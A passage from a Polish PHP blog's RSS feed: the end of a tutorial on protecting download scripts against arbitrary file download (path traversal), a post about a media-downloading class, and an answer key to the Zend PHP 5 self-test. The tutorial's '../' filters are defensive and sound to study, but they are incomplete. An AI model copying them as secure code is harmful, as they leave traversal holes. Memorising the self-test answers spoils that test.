$file			= ( isset($_GET['file']) ? intval($_GET['file']) : 0 ); // filtracja parametru file zawierajacego domyslnie w sobie liczby calkowite

if ( $file ) // jesli $file jest rozne od 0 tzn ze w parametrze zostalo wpisane ID w postaci cyfry
{
	if ( $connection = mysql_connect($db['host'], $db['user'], $db['pass']) === false ) // laczenie z baza danych za pomoca danych z tablic $db pliku config.php
	{
		print 'Blad polaczenia z baza danych: ' . mysql_error();
		die();
	}
	mysql_select_db($db['base']); // wybor bazy danych

	$fetched		= mysql_fetch_assoc(
		mysql_query('SELECT count(file_id) as counted, file_name
			FROM files
			WHERE file_id = ' . $file . '
			GROUP BY file_id
				LIMIT 1')
		); // zapytanie zliczajace i zwracajace liczbe rekordow o file_id = $file oraz nazwe pliku o podanym ID
	if ( $fetched['counted'] == 1 ) // jesli powyzsze zapytanie zliczylo 1 wiersz tzn ze ID jest prawidlowe
	{
		// szybka, dodatkowo filtracja poprzez zamiane encji na znaki i usuniecie ewentualny /
		// UWAGA! filtracja dokladna wpisywanych danych powinna byc przeprowadzona przy wprowadzaniu pliku do bazy
		if ( strpos($fetched['file_name'], '../') === false &amp;&amp; file_exists('./download/' . $fetched['file_name']) === true ) // sprawdzenie istnienia pliku
		{
			// wyslanie odpowiednich naglowkow
			header('Cache-control: private');
			header('Content-Length: ' . filesize('./download/' . $fetched['file_name']));
    		header('Content-Type: ' . getMimeType($fetched['file_name'])); // wyslanie odpowiedniego typu MIME pliku zwracanego przez funkcje getMimeType (do napisania ;])
    		header('Content-Disposition: attachment; filename=' . basename($fetched['file_name']));

	    	// odczytanie pliku
    		readfile('./download/' . $fetched['file_name']);
		}
		else {
			print 'Plik o podanym ID nie istnieje!'; // nie znaleziono pliku o podanym ID na serwerze, blad!
		}
	}
	else {
		print 'Niepoprawne ID pliku!'; // nie znaleziono pliku o podanym ID, blad!
	}
	mysql_close(); // zamkniecie polaczenia
}
else {
	print 'Brak ID pliku!'; // nie znaleziono pliku o podanym ID, blad!
}
?&gt;</pre>
<p>Należy pamiętać, że ważnym aspektem zachowania bezpieczeństwa jest także odpowiednia filtracja przy dodawaniu rekordów z nazwami plików do bazy.</p>
<p style="text-align: center;"><a target="_blank" href="http://farm4.static.flickr.com/3014/2847271125_0d1894e6f0_o.png"  title="Przykład działania AFD" class="lightbox"><img src="http://farm4.static.flickr.com/3014/2847271125_ea2576202d.jpg" alt="Przykład działania AFD" /></a></p>
<ul>
<li><strong>Ściąganie pliku po jego nazwie.</strong></li>
</ul>
<p>Tym razem zabezpieczenie będzie trzeba zrobić bardziej intuicyjnie i oparte tylko na odpowiednim filtrowaniu. Wszystko zależy tutaj od tego skąd chcemy ściągać pliki. Przede wszystkim powinniśmy <strong>zabronić</strong> jakiegokolwiek pobierania z katalogów nadrzędnych, a także z katalogów podrzędnych w których znajdują się pliki będące integralną częścią strony. Najwygodniej oczywiście byłoby ustawić jeden, konkretny katalog do ściągania. Nie mniej jednak my skupimy się na ograniczeniu do <strong>n-tej</strong> ilości podkatalogów. Ostatecznie należy pamiętać także, aby w katalogach do których będzie miał dostęp użytkownik z poziomu skryptu pobierającego nie było plików innych niż zdatne do takiego ściągnięcia, no i ewentualnie <strong>index.html</strong> z pustą stroną.</p>
<pre class="brush: php; title: ;">&lt;?php
function afdFiltration($file, $a_extns, $pattern = '')
{
	$file					= html_entity_decode(urldecode($file)); // usunięcie postaci procentowej znaków i zdekodowanie encji na znaki

	// sprawdzenie, czy wystepuje w ciagu ../ i ..\
	if ( strpos($file, '../') !== false || strpos($file, '..\\') !== false )
	{
		return '';
	}

	if ( $pattern != '' )
	{
		if ( !preg_match($pattern, $file) ) // jesli podano wzor to sprawdzenie czy pokrywa sie on z podanym plikiem
		{
			return '';
		}
	}

	$extension				= strtolower(end(explode(&quot;.&quot;, $file))); // rozszerzenie pliku
	if ( in_array($extension, $a_extns) === false ) // sprawdzenie czy rozszerzenie pliku pokrywa sie z dozwolonymi rozszerzeniami w skrypcie
	{
		return '';
	}

	if ( file_exists($file) === false ) // sprawdzenie istnienia pliku
	{
		return '';
	}

	return $file; // zwrocenie przefiltrowanego adresu pliku
}

require_once './mimes.inc.php'; // plik z funkcja rozpoznajaca typy mime (function getMimeType(file))

$allowed_extensions		= array('pdf', 'txt', 'c'); // dozwolone rozszerzenia plikow
$pattern				= ''; // opcjonalny wzor do sprawdzenia poprawnosci wprowadzonego adresu pliku

$file					= ( isset($_GET['file']) ? afdFiltration($_GET['file'], $allowed_extensions, $pattern) : '' ); // wywolanie funkcji filtrujacej, gdy podano argument file

if ( $file != '' ) // w wypadku pozytywnego przejscia filtracji
{
	header('Cache-control: private');
	header('Content-Length: ' . filesize($file));
	header('Content-Type: ' . getMimeType($file)); // wyslanie odpowiedniego typu MIME pliku zwracanego przez funkcje getMimeType (do napisania ;])
   	header('Content-Disposition: attachment; filename=' . basename(strtolower(end(explode(&quot;/&quot;, $file)))));

	// odczytanie pliku
    readfile($file);
}
else {
	print 'Nieprawidłowa nazwa lub ścieżka do pliku!'; // nie znaleziono pliku o podanym ID, blad!
}
?&gt;</pre>
<p>Zasada powyższego, przykładowego skryptu jest prosta. Filtrujemy w trzech poziomach. Zmieniając encje na znaki usuwamy ciąg <strong>../</strong> z adresu. Sprawdzamy opcjonalnie adres do pliku wg. zadanego przez nas wzorca (o ile takowy podamy) i ostatecznie porównujemy rozszerzenie pliku z dozwolonymi przez nas osobiście rozszerzeniami. Przykładem wzorca dla wyrażenia regularnego będzie np.:</p>
<pre class="brush: php; title: ;">$pattern				= '/^([a-zA-Z0-9\_\-]+)\\.([a-z0-9]{2,4})$/';</pre>
<p>Pozwala ono na ściąganie dowolnego pliku zawierającego w sobie duże i małe litery, cyfry oraz znaki _ i -, a także rozszerzenie będące małymi literami i/lub cyframi o długości od dwóch do czterech znaków.</p>
<p>Na koniec przekazuje kilku minutowy filmik obrazujący znalezienie i użycie błędu. Zapraszam <a target="_blank" href="http://6thavenue.org/stro/-movies/afd_attack_movie/afd_attack_movie.avi"  title="Zobrazowanie błędu"><strong>tutaj</strong></a>.</p>
<p>Uprzejmie proszę też o komentarze, jak wygląda ten tutorial, czy jest przydatny i przede wszystkim czy taka forma i taka ilość informacji będzie odpowiednia dla przyszłych artykułów z tego zakresu.</p>
<p>PS: <strong>wszelkie znalezione i ukazane błędy zostały przedstawione tylko i wyłącznie w formie edukacyjnej. Nie odpowiadam za formę wykorzystania ich przez użytkowników. Błędy zgłosiłem twórcom stron, więc prędzej czy później mogą one zostać załatane. Proszę o rozsądne ich wykorzystanie przy kształceniu własnych możliwości i NIE NISZCZENIE pracy autorów tych stron.</strong>.</p>
]]></content:encoded>
			<wfw:commentRss>http://m1chu.eu/2008/09/11/jak-zabezpieczyc-skrypt-phpmysql-czesc-1-luka-arbitrary-file-download-afd/feed/</wfw:commentRss>
		<slash:comments>26</slash:comments>
<enclosure url="http://6thavenue.org/stro/-movies/afd_attack_movie/afd_attack_movie.avi" length="1811968" type="video/x-msvideo" />
<enclosure url="http://6thavenue.org/stro/-movies/afd_attack_movie/afd_attack_movie.mpg" length="23524352" type="video/mpeg" />
		</item>
		<item>
		<title>mymedia.class.php &#8211; klasa służąca do pobierania plików z wrzuta.pl, youtube.com i owned.com</title>
		<link>http://m1chu.eu/2008/06/24/mymediaclassphp-klasa-sluzaca-do-pobierania-plikow-z-wrzutapl-i-youtubecom/</link>
		<comments>http://m1chu.eu/2008/06/24/mymediaclassphp-klasa-sluzaca-do-pobierania-plikow-z-wrzutapl-i-youtubecom/#comments</comments>
		<pubDate>Tue, 24 Jun 2008 20:07:33 +0000</pubDate>
		<dc:creator>m1chu</dc:creator>
				<category><![CDATA[PHP]]></category>
		<category><![CDATA[Webhosting]]></category>
		<category><![CDATA[curl]]></category>
		<category><![CDATA[php5]]></category>
		<category><![CDATA[pobieranie]]></category>
		<category><![CDATA[wrzuta.pl]]></category>
		<category><![CDATA[wyjątki]]></category>
		<category><![CDATA[youtube]]></category>

		<guid isPermaLink="false">http://m1chu.eu/?p=49</guid>
		<description><![CDATA[Siedziałem sobie wczoraj w nocy wyrwany w połowie pisania frameworka pod pewien projekt zastanawiając się co tu można by było dla rekreacji zrobić. Skacząc od strony do strony napotkałem kilka rozwiązań obsługi ściągania plików z serwisu wrzuta.pl. Przykładem takiego skryptu może być ten umieszczony na ninfo.pl, który ostatecznie przekonał mnie do napisania małej klasy obsługi [...]]]></description>
			<content:encoded><![CDATA[<p>Siedziałem sobie wczoraj w nocy wyrwany w połowie pisania frameworka pod pewien projekt zastanawiając się co tu można by było dla rekreacji zrobić. Skacząc od strony do strony napotkałem kilka rozwiązań obsługi ściągania plików z serwisu <a target="_blank" href="http://wrzuta.pl" title="wrzuta.pl - hostowanie filmów i muzyki" ><strong>wrzuta.pl</strong></a>. Przykładem takiego skryptu może być <a target="_blank" href="http://utnij.eu/pobieracz-wrzuta/" title="Pobieracz z wrzuta.pl" >ten umieszczony na ninfo.pl</a>, który ostatecznie przekonał mnie do napisania małej klasy obsługi serwisów emitujących multimedia. Szybko zapoznałem się z skryptem, następnie komentarzami na powyższej stronie i imaginując sobie w głowie działanie mojej przyszłej klasy przystąpiłem do pisania&#8230;</p>
<p><span id="more-49"></span></p>
<p>Szczytem optymalizacji ona na pewno nie jest, nie mniej jednak starałem się szybko testować różne rozwiązania, aby chociaż po części wykorzystać te bardziej korzystne elementy PHP (pomimo, że lepiej byłoby do takich celów zastosować inne języki programowania). Wykorzystując m.in obsługę wyjątków zmuszam bezpośrednio wszystkich potencjalnych użytkowników do instalacji klasy na serwerach z <strong>PHP5</strong>. Po za tym specyfika generowania linków na serwisach Wrzuta i YouTube spowodowała, że musiałem napisać dwie typy metod pobierających te linki:</p>
<ul>
<li>opierającą się na pobraniu nagłówków zgodnych z ID (aktualnie dla Wrzuty),</li>
<li>wykorzystującą cURL&#8217;a w celu pobrania zawartości strony i z jej zawartości generującą link (aktualnie dla YouTube-a).</li>
</ul>
<p>Fakt ten powoduje, że wraz z PHP5 musi być dostępna obsługa biblioteki <a target="_blank" href="http://pl2.php.net/curl" title="cURL - PHP Manual" >cURL</a>.</p>
<p>Pewnie co poniektórym osobom nasunęła się przed chwilą myśl w stylu: <em>&#8222;co za kretyn! cURLem pobiera całą stronę&#8230;&#8221;</em>. Faktycznie pomysł jest dość zasobożerny. Przetestowałem jednak na współdzielonej maszynie użycie <strong>curl_exec();</strong>, <strong>fsockopen();</strong> i <strong>file_get_content();</strong>. Z kilku przeprowadzonych po sobie testów wynikło, że pierwsza funkcja jest o około <strong>0,2 sekundy</strong> szybsza niż dwie kolejne. Wyników oczywiście nie mogę potwierdzić dla każdego przypadku i każdej maszyny, ale w moim wypadku wybór był jednoznaczny. Nie mniej jednak jeśli ktoś ma jakieś konstruktywne propozycje na temat innej obsługi &#8222;wyciągania&#8221; linków z YouTube-a &#8211; zapraszam do komentowania pod wpisem.</p>
<p>Na koniec tego teoretycznego wstępu warto chyba odpowiedzieć, dlaczego wybrałem akurat te i tylko te dwa serwisy? Odpowiedź jest prosta. Po pierwsze dlatego, że wszędzie napotykałem jak już tylko na rozwiązania dotyczące serwisu Wrzuta (i to dla plików audio). Podobnych dla YT nie znalazłem (możliwe, że źle szukałem ;]). Dlaczego tylko te dwa broadcastery? Domniemam, że sporą część przynajmniej tych najbardziej nam, Polakom znanych da się obsłużyć poprzez działanie na nagłówkach, bądź zawartości strony. Dlatego dwie służące do tego metody mogą w przyszłości posłużyć do obsługi innych tego typu stron. Możliwe, że pod <strong>OWS-em</strong> wraz z resztą załogi poprawimy, zoptymalizujemy i rozwiniemy klasę&#8230; kiedyś ;]</p>
<p>Ze strony praktycznej pierwsze co powinno się zrobić, to ściągnąć kod klasy z <a href="http://dev.m1chu.eu/index.php?title=Mymedia.class.php" title="MyMedia - repozytorium" >mojego małego repozytorium</a>. Jak widać zawarłem tam kilka zdań i przykładów, skrupulatniej omówionych niż tutaj.</p>
<p>Po ściągnięciu należy zainkludować plik klasy po czym utworzyć jej nową instancję.</p>
<pre class="brush: php; title: ;">// wywołanie obsługi wyjątków w celu ewentualnego wyłapania błędu
try {
$instance			= &amp;mymedia::getInstance(); // wywołanie metody wzorca singletona
$instance-&gt;downloadFile('763DcD2d6w', 'wrzuta', 'audio', true, ''); // metoda wywoływana w celu ściągnięcia pliku
}
catch ( Exception $exception )
{
print 'Exception: &lt;strong&gt;' . $exception-&gt;getMessage() . '&lt;/strong&gt; on line ' . $exception-&gt;getLine();
}</pre>
<p>Tworzenie instancji, jak i wywoływanie metody odbywa się w bloku obsługi wyjątków, ponieważ w przeciwnym wypadku na nic zdałoby się samo ich rzutowanie wewnątrz klasy. Dzięki temu w wypadku popełnienia błędu w podanych parametrach, bądź nie istnienia pliku na serwerze skrypt nas o tym powiadomi.</p>
<p>Cała zabawa dla programisty ogranicza się do użycia metody <strong>$instance->downloadFile(args);</strong> przyjmującej od jednego do pięciu argumentów.</p>
<pre class="brush: php; title: ;">$instance-&gt;downloadFile(id_pliku, nazwa_serwisu[aktualnie: wrzuta|youtube], typ_pliku[aktualnie: audio|video|image], ściągnąć_plik[aktualnie: true|false], nazwa_pliku_przy_sciagnieciu[aktualnie: wrzuta]);</pre>
<p>Przykład obrazujący wywołanie:</p>
<pre class="brush: php; title: ;">print $instance-&gt;downloadFile('4kv29vXZqpk', 'youtube', 'video', false); // zostanie wyświetlony tylko bezpośredni link do pliku na ekranie</pre>
<p>Sugestie, czy zauważone błędy proszę kierować w komentarzach.</p>
<p><strong>Edycja 09.08.08:</strong><br />
Zapraszam do ściągania wersji <em>1.1</em>. Zawarłem w niej trzy poprawki i dodałem obsługę serwisu <strong>owned.com</strong>. Jedna z poprawek wymaga teraz, aby w wypadku ponownego użycia klasy w czasie jednego przeładowania strony i występowania nieprawidłowych wyników użyć samemu po każdym wywołaniu metody ściągającej funkcję czyszczącą zmienne klasy (wg. przykładu <em>$instance->flush();</em>). Więcej informacji zawarłem <a href="http://dev.m1chu.eu/index.php?title=MyMedia"  title="mymedia.class.php - repozytorium">tutaj</a>.</p>
<p>Uruchomiłem także specjalną <a href="http://use.m1chu.eu/-php/my-media-class/index.php"  title="Strona pokazowa"><strong>testową stronę</strong></a> na której można obejrzeć działanie klasy w praktyce.</p>
]]></content:encoded>
			<wfw:commentRss>http://m1chu.eu/2008/06/24/mymediaclassphp-klasa-sluzaca-do-pobierania-plikow-z-wrzutapl-i-youtubecom/feed/</wfw:commentRss>
		<slash:comments>9</slash:comments>
		</item>
		<item>
		<title>Zend PHP 5 Certification &#8211; Self Test &#8211; omówienie pytań&#8230;</title>
		<link>http://m1chu.eu/2008/05/12/zend-php-5-certification-self-test-omowienie-pytan/</link>
		<comments>http://m1chu.eu/2008/05/12/zend-php-5-certification-self-test-omowienie-pytan/#comments</comments>
		<pubDate>Sun, 11 May 2008 23:26:38 +0000</pubDate>
		<dc:creator>m1chu</dc:creator>
				<category><![CDATA[Edukacja]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[Życie]]></category>
		<category><![CDATA[apache]]></category>
		<category><![CDATA[ceryfikat]]></category>
		<category><![CDATA[cgi]]></category>
		<category><![CDATA[php5]]></category>
		<category><![CDATA[self]]></category>
		<category><![CDATA[test]]></category>
		<category><![CDATA[zend]]></category>

		<guid isPermaLink="false">http://m1chu.eu/?p=45</guid>
		<description><![CDATA[Tak się składa, że zamierzam od drugiej części przyszłego miesiąca zmienić kilka rzeczy związanych z moimi zamiłowaniami do programowania. I właśnie jedną ze zmian ma być zapisanie się na certyfikat Zend&#8217;a, który to sugeruje aby przed podjęciem wyzwania egzaminacyjnego napisać wstępny, składający się z 8śmiu pytań test. Poziom jego zaawansowania jest ponoć zbliżony do normalnego [...]]]></description>
			<content:encoded><![CDATA[<p>Tak się składa, że zamierzam od drugiej części przyszłego miesiąca zmienić kilka rzeczy związanych z moimi zamiłowaniami do programowania. I właśnie jedną ze zmian ma być zapisanie się na certyfikat Zend&#8217;a, który to sugeruje aby przed podjęciem wyzwania egzaminacyjnego napisać wstępny, składający się z 8śmiu pytań test. Poziom jego zaawansowania jest ponoć zbliżony do normalnego egzaminu, dlatego jest on dobrym wyznacznikiem do sprawdzenia swojej osoby, czy nadaje się ona do podjęcia walki o otrzymanie tegoż certyfikatu. Jak wyglądają pytania z PHP5? Które odpowiedzi są poprawne i dlaczego? I jaki wynik uzyskałem? Jeśli chcecie poznać odpowiedzi na te pytania, czytajcie dalej :D</p>
<p><span id="more-45"></span></p>
<p>Po pierwsze należy wspomnieć, że cały test jest po angielsku, dlatego w takim języku podam pytania. Swoje umiejętności w nim możecie sprawdzić <a target="_blank" href="http://www.zend.com/store/education/certification/self-test.php?begin=1"  title="Zend - Self Test">tutaj</a>. Zanim zacznę rozwodzić się na temat jego rozwiązywania zalecam Wam podjęcie go przez doczytaniem tego wpisu do końca. Przecież nie chodzi tutaj o oszukiwanie samych siebie, a o sprawdzenie się &#8211; nikt z Was z tego rozliczać nie będzie.</p>
<ul>
<li><strong>Pytanie I. How can precisely one byte be read from a file, pointed by $fp?</strong>
<ol>
<li>fseek($fp, 1)</li>
<li>fgets($fp, 1)</li>
<li>fgetss($fp, 1)</li>
<li><strong>fgetc($fp)</strong></li>
<li>All of the above</li>
</ol>
</li>
</ul>
<p>Pierwsza odpowiedź &#8211; <strong>fseek()</strong> powoduje przesunięcie wskaźnika na miejsce wyznaczone przez drugi parametr. Funkcje &#8211; <strong>fgets()</strong> i <strong>fgetss()</strong> pobierają ciąg znaków z pliku o długości podanym w drugim parametrze, z tymże druga z nich usuwa tagi HTML w locie. Dlatego poprawny jest <strong>4</strong> wybór.</p>
<ul>
<li><strong>Pytanie II. What object method specifies post-deserialization behavior for an object?</strong>
<ol>
<li>__sleep()</li>
<li><strong>__wakeup()</strong></li>
<li>__set_state()</li>
<li>__get()</li>
<li>__autoload()</li>
</ol>
</li>
</ul>
<p>Trzy ostatnie metody magiczne możemy skreślić na wstępie. Mianowicie <strong>__get()</strong> ułatwia dostęp do elementów wewnątrz klasy, <strong>__autoload()</strong> zostaje wywołane automatycznie w wypadku próby zainicjowania klasy dotychczas niezdefiniowanej, no i ostatecznie najbardziej tajemnicze <strong>__set_state()</strong> wywoływane dla wyników wyeksportowanej instancji klasy poprzez <strong>var_export()</strong>. Zostają nam więc:</p>
<ul>
<li><strong>__sleep()</strong> &#8211; istnienie tej funkcji sprawdzane jest przed każdą serializacją wywoływaną funkcją <strong>serialize()</strong>,</li>
<li><strong>__wakeup()</strong> &#8211; istnienie tej funkcji w klasie sprawdzane jest przed każdą deserializacją wywoływaną funkcją <strong>unserialize()</strong>.</li>
</ul>
<p>Wybór chyba jest już oczywisty.</p>
<ul>
<li><strong>Pytanie III. Where does the session extension store the session data by default?</strong>
<ol>
<li>SQLite Database</li>
<li>MySQL Database</li>
<li>Shared Memory</li>
<li><strong>File System</strong></li>
<li>Session Server</li>
</ol>
</li>
</ul>
<p>Standardowo dane sesji przechowywane są w plikach. Nie mniej jednak za pomocą funkcji <a target="_blank" href="http://pl2.php.net/session_set_save_handler"  title="Session Function">session_set_save_handler</a> i jej parametrów możemy utworzyć odniesienia do nich umożliwiające przetrzymywanie danych sesji np. w bazie danych.</p>
<ul>
<li><strong>Pytanie IV. Which of the following data types cannot be directly manipulated by the client?</strong>
<ol>
<li>Cookie Data</li>
<li><strong>Session Data</strong></li>
<li>Remote IP Address</li>
<li>User Agent</li>
</ol>
</li>
</ul>
<p>Spośród tych czterech elementów tylko dane sesji przetrzymywane są po stronie serwera, także bez odpowiednio przygotowanego skryptu wykonywanego po stronie serwera nie ma możliwości dostępu do manipulacji tymi danymi. Nie mniej jednak nie jest to już dostęp bezpośredni.</p>
<ul>
<li><strong>Pytanie V. What is the difference between isset() and other is_*() functions (is_alpha(), is_number(), etc.)?</strong>
<ol>
<li>isset() is a function call and is_*() are not function calls</li>
<li>is_*() are language constructs and isset() is not a language construct</li>
<li><strong>isset() is a language construct and is_*() are not language constructs</strong></li>
<li>is_*() return a value whereas isset() does not</li>
</ol>
</li>
</ul>
<p>Odpowiedź trzecia jest poprawna, gdyż <strong>isset()</strong> jest konstrukcją językową, a pozostałe z wymienionych są funkcjami. Bardzo ładnie dla oka można to sprawdzić w bardziej zaawansowanych edytorach PHP, poprzez specyficzne podświetlanie konstrukcji językowych i nie podświetlanie funkcji języka PHP.</p>
<ul>
<li><strong>Pytanie VI. What will be the value of $b after running the following code?</strong></li>
<li style="list-style-type: none;">
<pre class="brush: php; title: ;">$a = array('c', 'b', 'a');
$b = (array) $a;</pre>
<ol>
<li>TRUE</li>
<li><strong>array(&#8216;c&#8217;, &#8216;b&#8217;, &#8216;a&#8217;)</strong></li>
<li>array(array(&#8216;c&#8217;, &#8216;b&#8217;, &#8216;a&#8217;))</li>
<li>None of the above</li>
</ol>
</li>
</ul>
<p>W drugiej linii następuje rzutowanie tablicy <strong>$a</strong> utworzonej linie wyżej na typ tablicy, po czym wynik przypisany jest do zmiennej (już tablicowej/tablicy) <strong>$b</strong>.</p>
<ul>
<li><strong>Pytanie VII. Which of the following function signatures is correct if you want to have classes automatically loaded?</strong>
<ol>
<li>function autoload($class_name)</li>
<li>function __autoload($class_name, $file)</li>
<li><strong>function __autoload($class_name)</strong></li>
<li>function _autoload($class_name)</li>
<li>function autoload($class_name, $file)</li>
</ol>
</li>
</ul>
<p>Wszystkie metody magiczne w PHP5 rozpoczynają się od <strong>__</strong>. Więc wybór zaokrąglił się nam do drugiej i trzeciej odpowiedzi. A ponieważ posiada ona wg. dokumentacji tylko jeden parametr to należy wybrać trzecią odpowiedź.</p>
<ul>
<li><strong>Pytanie VIII. What is the best way to run PHP 4 and PHP 5 side-by-side on the same Apache server?</strong>
<ol>
<li><strong>Run one as an Apache module, the other as a CGI binary.</strong></li>
<li>Run both as a CGI binary.</li>
<li>Just use .php4 for PHP 4, and .php for PHP 5.</li>
<li>Use .php for both but use different document roots.</li>
</ol>
</li>
</ul>
<p>Przyznaję, że w tym wypadku dwie odpowiedzi &#8211; drugą i czwartą skreśliłem ze względu, moim zdaniem na brak logiki. Pierwsze co mi się rzuciło to opcja realna ze strony klienta &#8211; czyli trzecia. Nie mniej jednak te <strong>&#8222;to run&#8221;</strong> w pytaniu pokwapiło mnie do wniosku, że należy do tego podejść z innej, bardziej technicznej strony. A ponieważ da się dwie wersje PHP uruchomić w trybie jedna jako skrypt CGI, a druga jako moduł Apache&#8217;a (dopiero po tym, należałoby skupić na parsowaniu dokumentów PHP w danej wersji zależnej od rozszerzenia) to pierwsza odpowiedź jest dobra. Ale zamieszałem :D I, żeby nie być gołosłownym, że niby nie rozwiązałem sam, proszę (strzelajcie w którym pytaniu się walnąłem ;]):</p>
<p style="text-align: center;"><a target="_blank" href="http://www.zend.com/store/education/certification/self-test.php?begin=1"  title="Zend Self-Test"><img class="center" src="http://img246.imageshack.us/img246/2097/zendcerttz8.png" alt="Zend Self-Test" /></a></p>
<p>Mam nadzieję, że komuś się przydadzą te odpowiedzi, rzecz jasna do sprawdzenia siebie samego. Jeśli coś przypadkiem pomyliłem, proszę o uwagi w komentarzach.</p>
<p>I na koniec pytanie &#8211; czy ktoś miał z bardziej praktycznej strony kontakt z <a target="_blank" href="http://utnij.eu/zend-cert/"  title="Zend Certificate"><strong>Zend Certificate</strong></a> i mógłby mi na tyle na ile umowa pozwala przybliżyć jak to wszystko działa (w komentarzach)? Z góry dzięki.</p>
]]></content:encoded>
			<wfw:commentRss>http://m1chu.eu/2008/05/12/zend-php-5-certification-self-test-omowienie-pytan/feed/</wfw:commentRss>
		<slash:comments>8</slash:comments>
		</item>
	</channel>
</rss>

